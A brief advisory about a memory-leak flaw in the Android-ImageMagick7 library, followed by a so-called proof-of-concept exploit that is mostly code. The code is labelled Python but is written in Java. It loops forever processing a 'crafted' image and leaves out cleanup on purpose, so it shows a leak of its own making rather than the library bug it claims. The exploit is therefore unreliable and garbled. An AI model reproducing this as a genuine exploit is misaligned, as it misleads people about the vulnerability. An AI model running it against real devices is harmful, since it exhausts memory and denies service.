Missing Release of Memory after Effective Lifetime vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-11.
The following code is for security research and authorized testing only.
python
/*
* PoC for Memory Leak in Android-ImageMagick7 (CVE-2026-33856)
* This code demonstrates the concept of triggering a memory leak
* by repeatedly processing images without proper resource cleanup.
*/
import magick.ImageInfo;
import magick.MagickImage;
import magick.MagickException;
public class CVE202633856_PoC {
public static void main(String[] args) {
try {
// Simulate processing a crafted image that triggers the leak
while (true) {
// Load a potentially malicious image
ImageInfo info = new ImageInfo("crafted_image.png");
MagickImage image = new MagickImage(info);
// Perform operations that cause memory allocation
// In the vulnerable version (< 7.1.2-11), memory is not released here
image.scaleImage(800, 600);
image.blurImage(1.0, 1.0);
// Intentionally avoiding explicit destroyImage() to simulate the bug path
// In a real scenario, the library should handle cleanup automatically
System.out.println("Image processed, memory leaking...");
}
} catch (MagickException e) {
e.printStackTrace();
} catch (OutOfMemoryError e) {
System.out.println("System ran out of memory due to leak.");
}
}
}